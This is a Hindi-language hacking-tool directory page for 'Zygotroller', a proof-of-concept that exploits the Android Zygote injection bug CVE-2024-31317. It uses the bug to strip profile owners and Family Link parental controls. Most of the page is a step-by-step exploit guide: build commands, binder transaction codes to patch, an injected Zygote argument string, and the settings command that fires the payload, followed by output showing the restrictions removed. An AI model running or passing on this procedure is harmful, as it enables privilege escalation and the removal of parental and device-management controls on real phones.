Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
Zygotroller — CVE-2024-31317 के साथ Android profile owners/family link हटाएं | Kitploit
उपकरण/GitHubGitHub/rifting/zygotroller
एंड्रॉइड सुरक्षाविशेषाधिकार वृद्धिभेद्यता विश्लेषणशोषणमोबाइल सुरक्षापेलोड डेवलपमेंट
GitHubrifting/zygotroller

Zygotroller

CVE-2024-31317 के साथ Android profile owners/family link हटाएं

रिपॉजिटरी देखें
411 साल पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

Zygotroller

किसी भी जून 2024 से पहले के डेवलपर मोड डिवाइस (Android 12+) पर प्रोफ़ाइल स्वामियों/Family Link को हटाएं

Zygotroller एक प्रूफ-ऑफ-कॉन्सेप्ट है जो CVE-2024-31317 के Zygote इंजेक्शन बग का उपयोग करके प्रोफ़ाइल स्वामी और संबंधित प्रतिबंधों को हटा सकता है। इसके लिए डेवलपर मोड और जून 2024 से पहले के नवीनतम सुरक्षा पैच की आवश्यकता है।

Google की पैरेंटल कंट्रोल प्रणाली, Family Link, को इस रिपॉजिटरी में एक उदाहरण के रूप में दिखाया गया है।

उपयोग

Zygotroller को कंपाइल करने के लिए आपको Debian-आधारित डिस्ट्रो चलाने वाले एक आधुनिक डिवाइस की आवश्यकता होगी। इस पाठ को पढ़ने के समय के अनुसार प्रीबिल्ट्स उपलब्ध हो भी सकते हैं और नहीं भी।

दुर्भाग्यवश, यह Android के आंतरिक भागों पर निर्भर करता है, इसलिए Zygotroller बनाने के लिए आपको संपूर्ण Android स्रोत कोड को क्लोन करना होगा। सुनिश्चित करें कि आपके पास कम से कम 400GB खाली स्थान है, हालाँकि आप संभवतः कम उपयोग करेंगे।

WSL का उपयोग करने पर महत्वपूर्ण: सुनिश्चित करें कि आपके पास बहुत अधिक स्वैप है, अन्यथा WSL क्रैश हो जाएगा। मैंने व्यक्तिगत रूप से 32G का उपयोग किया:

root@kitploit:~
sudo fallocate -l 32G /swapfile
sudo chmod 600 /swapfile
sudo mkswap /swapfile
sudo swapon /swapfile

अब AOSP स्रोत क्लोन करना:

root@kitploit:~
mkdir ~/aosp
cd ~/aosp

repo init --partial-clone --no-use-superproject -b android-latest-release -u https://android.googlesource.com/platform/manifest

repo sync -c -j8 (रेटलिमिट के कारण कई प्रयास लग सकते हैं)

source build/envsetup.sh

lunch aosp_cf_arm64_only_phone-aosp_current-eng (यदि आप इम्यूलेटर पर परीक्षण कर रहे हैं, तो arm64 को x86_64 में बदलें)

cd ~/aosp/external

git clone https://github.com/rifting/Zygotroller

cd Zygotroller

अब हमें स्क्रिप्ट में मानों को अपने वास्तविक प्रोफ़ाइल स्वामी और clearProfileOwner के लिए ऑपकोड में बदलना होगा। प्रोफ़ाइल स्वामी या तो Google Play सेवाओं के "supervision" पैकेज में या स्वयं Google Play सेवाओं में हो सकता है। dpm list-owners चलाएँ, मेरा परिणाम इस प्रकार था:

root@kitploit:~
$ dpm list-owners
1 owner:
User  0: admin=com.google.android.gms.supervision/com.google.android.gms.kids.account.receiver.ProfileOwnerReceiver,ProfileOwner

इससे हमें Zygotroller के लिए दो आवश्यक जानकारियाँ मिलती हैं: पैकेज का नाम (com.google.android.gms.supervision) और वर्ग का नाम (com.google.android.gms.kids.account.receiver.ProfileOwnerReceiver)।

अपने पसंदीदा टेक्स्ट एडिटर से zygotroll.cpp को संपादित करें और इन पंक्तियों को अपने प्रोफ़ाइल स्वामी घटक में अद्यतन करें:

root@kitploit:~
    // Family Link profile owner
    std::string pkg = "com.google.android.gms.supervision";
    std::string cls = "com.google.android.gms.kids.account.receiver.ProfileOwnerReceiver";

अब आपको DPM के clearProfileOwner फ़ंक्शन का ऑपकोड खोजना होगा। मेरे लिए यह "91" था, लेकिन यह आपके Android के संस्करण/प्रकार के अनुसार भिन्न होता है। clearProfileOwner का ऑपकोड प्राप्त करने के लिए, मैंने android-svc का उपयोग किया और कमांड चलाई:

android-svc convert 'android.app.admin.IDevicePolicyManager.clearProfileOwner("dummy")'

आउटपुट में जो संख्या दिखेगी वह clearProfileOwner का ऑपकोड होगा। फिर से अपने पसंदीदा टेक्स्ट एडिटर से zygotroll.cpp खोलें और यहाँ संख्या को अपने वास्तविक ऑपकोड में बदलें:

root@kitploit:~
    // Transaction code 91 was ClearProfileOwner for my device
    dpm->transact(91, data, &reply);

आप setUserRestriction के साथ भी यही करना चाहेंगे:

root@kitploit:~
// Transaction code 132 was setUserRestriction for my device
dpm->transact(132, data2, &reply2);

अब हमें zygotroller कंपाइल करना होगा:

mm

प्रारंभिक बिल्ड में यह बहुत लंबा समय ले सकता है, बाद के बिल्ड अधिकांश आधुनिक मशीनों पर 1 मिनट से भी कम लेंगे।

अपना बाइनरी ~/aosp/out/target/product/vsoc_x86_64_only/system/bin/zygotroller में खोजें।

अब हमें एक ऐसा ऐप बनाना होगा जिसमें यह बाइनरी "शेयर्ड लाइब्रेरी" के रूप में हो, जो वास्तव में केवल Zygotroller एक्ज़ीक्यूटेबल है, ताकि SELinux हमें इसे निष्पादित करने दे। इसके लिए आप मेरे "CopyNativeLib" रिपॉजिटरी का उपयोग कर सकते हैं:

git clone https://github.com/rifting/CopyNativeLib.git

फिर अपने Zygotroller बाइनरी का नाम बदलकर libzygotroller.so करें और इसे app/src/main/jniLibs/arm64-v8a में रखें (मैं मान रहा हूँ कि यह आपके फ़ोन की आर्किटेक्चर होगी)। Android स्टूडियो में APK बनाएँ और adb install से अपने डिवाइस पर इंस्टॉल करें।

मेरे लिए Family Link प्रोफ़ाइल स्वामी का userid 10090 था, जिसे u0_a90 भी कहा जाता है। dumpsys package com.google.android.gms.supervision | grep userId= चलाएँ।

अब payload.sh पर एक नज़र डालें, इस पंक्ति पर

inject='\n--setuid=10090...

यहाँ UID को 10090 से बदलकर वह UID करें जो dumpsys कमांड से मिला था। यदि यह समान ID है, तो इसे छोड़ दें।

उस पंक्ति पर थोड़ा आगे देखें, आप देखेंगे:

...echo zYg0te $(LD_LIBRARY_PATH=[आपकी नेटिव लाइब्रेरी का पथ] [आपकी नेटिव लाइब्रेरी का पथ])...

(तीन बिंदु संक्षिप्तता दर्शाने के लिए)

आपको इन्हें उस नेटिव लाइब्रेरी के पथों से बदलना होगा जिसे आपने अभी डिवाइस पर इंस्टॉल किया है। pm path com.rifting.copynativelib चलाएँ। फ़ाइल का पथ कमांड के आउटपुट में दिखाए गए APK का मूल निर्देशिका + lib/arm64-v8a/libzygotroller.so होगा। LD_LIBRARY_PATH को लाइब्रेरी के निर्देशिका की आवश्यकता है, और फिर उसके बाद लाइब्रेरी का वास्तविक पथ आना चाहिए। तो वह पंक्ति कुछ इस प्रकार दिखेगी:

...echo zYg0te $(LD_LIBRARY_PATH=/data/app/~~IQhIf-M_9eLGoJ-Wd-qaCA==/com.rifting.copynativelib-a6N1upfA-_Trjh_cPCHngA==/lib/x86_64/ /data/app/~~IQhIf-M_9eLGoJ-Wd-qaCA==/com.rifting.copynativelib-a6N1upfA-_Trjh_cPCHngA==/lib/x86_64/libreal.so)...

आप लगभग वहाँ पहुँच गए हैं! इस फ़ाइल को /data/local/tmp पर पुश करें:

adb push payload.sh /data/local/tmp

अनुमतियाँ सेट करें:

chmod +x /data/local/tmp/payload.sh

और अंत में, इसका आउटपुट hidden_api_blacklist_exemptions में भेजें!

settings put global hidden_api_blacklist_exemptions "$(sh ./payload.sh)"

अब इसे "0" पर सेट करें ताकि बूटलूप से बचा जा सके :) settings put global hidden_api_blacklist_exemptions 0

आपको देखना चाहिए कि Family Link प्रोफ़ाइल स्वामी + सभी संबंधित प्रतिबंध हटा दिए गए हैं। सेटिंग्स में जाएँ और खातों का प्रबंधन करें, और डिवाइस से पर्यवेक्षित खाता हटा दें। बधाई हो!

पहले:

root@kitploit:~
$ dpm list-owners
1 owner:
User  0: admin=com.google.android.gms.supervision/com.google.android.gms.kids.account.receiver.ProfileOwnerReceiver,ProfileOwner
root@kitploit:~
$ abx2xml /data/system/users/0.xml -
...
<device_policy_local_restrictions>
    <restrictions_user user_id="0">
      <restrictions no_factory_reset="true" no_config_location="true" no_add_clone_profile="true" no_safe_boot="true" no_config_credentials="true" no_config_date_time="true" />
    </restrictions_user>
  </device_policy_local_restrictions>
...

बाद में:

root@kitploit:~
$ dpm list-owners
no owners
emu64xa:/ $
root@kitploit:~
$ abx2xml /data/system/users/0.xml -
...
<device_policy_local_restrictions />
...

विशेष धन्यवाद

gburca for BinderDemo

इस CVE के बारे में LLeaves का शानदार ब्लॉग

टूल डाउनलोड करें